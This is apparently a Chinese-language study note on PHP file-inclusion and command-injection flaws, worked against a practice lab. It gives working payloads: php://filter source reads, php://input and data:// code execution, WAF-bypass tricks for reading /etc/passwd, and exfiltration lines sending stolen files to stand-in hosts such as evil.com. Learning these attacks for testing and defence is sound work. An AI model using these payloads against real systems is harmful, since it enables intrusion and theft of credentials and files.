1.24-1 文件包含漏洞和命令执行漏洞

文件包含漏洞

搭建靶场所用文件:https://pan.baidu.com/s/1IoX4I73J5mnD96tzlnV6UQ?pwd=s86q

这部分在之前的【文件上传】当中已有运用,详情请看1.19 XSS 注入攻击2与文件上传

文件包含在php中有两种写法:

  • include 出错但继续
  • require 出错会停
  • include_once 相当于include,但会检查确保只包含一次
  • require 相当于require,但会检查确保只包含一次

本地包含(Local File Include)

在靶场中选择File Inclusion(local)选择一个选项后用burp抓包可以看见提交的数据包中第一行为:

1
GET /vul/fileinclude/fi_local.php?filename=file1.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2 HTTP/1.1

这里作者已经帮我们在网站根目录的test文件夹里放了一个phpinfo.txt我们需要使用调用它。

因为默认情况下这里路径指的是\vul\fileinclude\include文件夹,所以我们要在路径前面写../来回退到上一个目录

最终的filename是../../../test/phpinfo.txt使用了三次回退正好回退到了根目录

注: 有些情况下(PHP<5.3.4)filename最后可能需要使用%00截断

远程包含(Remote File Include)

测试远程文件包含可以用准备好的phpinfo文件:http://www.retr0.xyz/blog-files/phpinfo.txt

同样提交时使用burp抓包,第一行为:

1
GET /vul/fileinclude/fi_remote.php?filename=include%2Ffile1.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2 HTTP/1.1

这里比较简单,因为include函数是放在数据包里的,所以我们直接把原本的filename替换成远程木马的链接就可以了,例如:

1
filename=http://www.retr0.xyz/blog-files/phpinfo.txt

有时http://协议异常时也可以试试ftp://

一般情况下远程文件包含不会像这样简单,因为需要服务端配置了以下环境(php.ini):

  • allow_url_fopen = On
  • allow_url_include = On

结合php伪协议

php://filter(获取源码)

  1. 适用场景
1
include($_GET['file']);

并且:

  • allow_url_include ❌ 无要求
  • php://filter 默认开启

  1. 利用方式
1
?filename=php://filter/read=convert.base64-encode/resource=index.php

此外也有:

1
?filename=php://filter/read=string.toupper|string.rot13/resource=index.php

php://input(执行代码)

php://input会让服务端将你传的php代码当作一个临时的php文件运行。

使用方法:

向目标参数传入php://input,如:

1
http://target/vuln.php?filename=php://input

同时用POST方式传入你的一句话木马:

1
<?php phpinfo(); ?>

php://file(使用绝对路径打开文件)

使用方法:

修改目标参数为:

1
filename=file://绝对路径

如:filename=file:///etc/passwd

或:filename=file:///C:/windows/

php://data(直接在URL中写php代码)

使用方法:

修改目标参数为:

1
filename=data://text/plain,<?php phpinfo();?>

或者使用base64加密版(不要带加号)

1
filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b 

命令执行漏洞

命令执行在之前的1.6 其他基础web漏洞介绍有过简单介绍,在这里再来总结补充一下。

例如一个网页上让你输入一个ip,提交后会返回ping这个ip的结果,那么我们要想这个ping的执行是否是由系统命令直接执行的(cmd或bash),如果是那么如何让它执行别的命令?

危险函数盘点

系统命令执行函数

  • system()
  • shell_exec()
  • popen()
  • exec()
  • passthru()
  • proc_open()
  • 反引号 command(等效于 shell_exec ())

代码执行函数

  • eval()
  • create_function()
  • assert()
  • preg_replace ('/e')(正则替换 /e 修饰符触发代码执行)

漏洞模式分类(含代码示例)

直接执行模式

  • 核心特征:用户输入直接作为命令执行参数
  • 示例代码:system($_GET['cmd']);
  • 攻击逻辑:输入的 cmd 参数无过滤,直接触发命令执行

拼接执行模式

  • 核心特征:用户输入与固定命令拼接后执行
  • 示例代码:$ip = $_GET['ip']; system("ping -c 4 " . $ip);
  • 攻击逻辑:通过拼接分隔符(如;、|)注入额外命令

动态函数调用模式

  • 核心特征:用户输入作为函数名调用
  • 示例代码:$func = $_GET['func']; $func();
  • 攻击逻辑:输入危险函数名(如 system)触发执行

命令执行绕过技术

命令分隔符(按系统分类)

  1. Linux 系统
  • 分号 ;:顺序执行多个命令(command1; command2)
  • 管道 |:将前命令结果传递给后命令(command1 | command2)
  • 逻辑运算符:
    • &&:前命令成功则执行后命令(command1 && command2)
    • ||:前命令失败则执行后命令(command1 || command2)
  • 后台执行 &:同时执行多个命令(command1 & command2)
  • 换行符 0x0a:换行分隔命令(command1 0x0a command2)
  • 子 shell:$(command1)\command1``(执行子 shell 命令)
  1. Windows 系统
  • 顺序执行 &:command1 & command2
  • 逻辑运算符:&&(前成功则后执行)、||(前失败则后执行)
  • 管道 |:command1 | command2

空格绕过

  • $IFScat${IFS}/etc/passwd
  • 大括号 {}{cat,/etc/passwd}
  • 重定向符号:cat</etc/passwd
  • Hex 编码:X=$'cat\x09/etc/passwd'&&$X(\x09 为 Tab 字符)

字符串混淆

  • 变量拼接:a=c;b=at;c=/etc/passwd;$a$b $c
  • 通配符替代:/bin/cat /etc/pass[d]/???/c?t /etc/passwd
  • 引号混淆:c'a'tc"a"tc\at
  • 特殊符号绕过:l's'(绕过 ls 关键词屏蔽)、chmo\d(绕过 chmod 屏蔽)

编码绕过

Base64 编码(适用于 WAF 拦截关键字)

  • 示例:将cat /etc/passwd编码为Y2F0IC9ldGMvcGFzc3dk
  • 执行命令:echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash

Hex 编码

  • 示例:将cat /etc/passwd编码为636174202f6574632f706173737764
  • 执行命令:echo 636174202f6574632f706173737764 | xxd -r -p | bash

无回显攻击技术(Blind Command Execution)

DNS 外带(OOB)

  • 原理:将命令执行结果作为子域名发送到攻击者 DNS 服务器
  • 示例:ping 反引号whoami反引号.evil.sh

详见:1.22.SP 奇技淫巧:SQL注入之数据外带

HTTP 外带

  • 原理:通过 HTTP 请求将结果发送到攻击者服务器
  • 示例:curl http://evil.com/$(cat /etc/passwd|base64)
  • 进阶:带认证 + 数据编码 curl -u user:pass http://evil.com/$(whoami|base64) -d "data=$(cat /etc/passwd|base64)"

时间盲注

  • 原理:通过命令执行后的延迟判断是否成功
  • 示例:sleep 5(Linux)、ping -c 10 127.0.0.1(Linux)

常用系统命令与替代方案

基础命令(按系统分类)

  1. Linux
  • 查看目录:ls
  • 读取文件:cat、tac、head、tail、more、less、nl、sort、paste
  • 系统信息:pwd、whoami、chmod
  • 路径格式:/etc/passwd./haha.php
  1. Windows
  • 系统信息:whoami、ipconfig
  • 查看目录:dir
  • 读取文件:type
  • 路径格式:c:/a.txtc:\a.txt

关键词WAF屏蔽绕过(替代命令)

  • 屏蔽 cat:使用 tac、more、less、head、tail、nl、sort、paste
  • 屏蔽 ls:使用l's'ls的通配符替代
  • 屏蔽 php:使用通配符./haha.ph*./haha.ph?
Licensed under CC BY-NC-SA 4.0
已存在于互联网
发表了126篇文章 · 总计210.25k字
萌ICP备20267077号
Powered by ctOS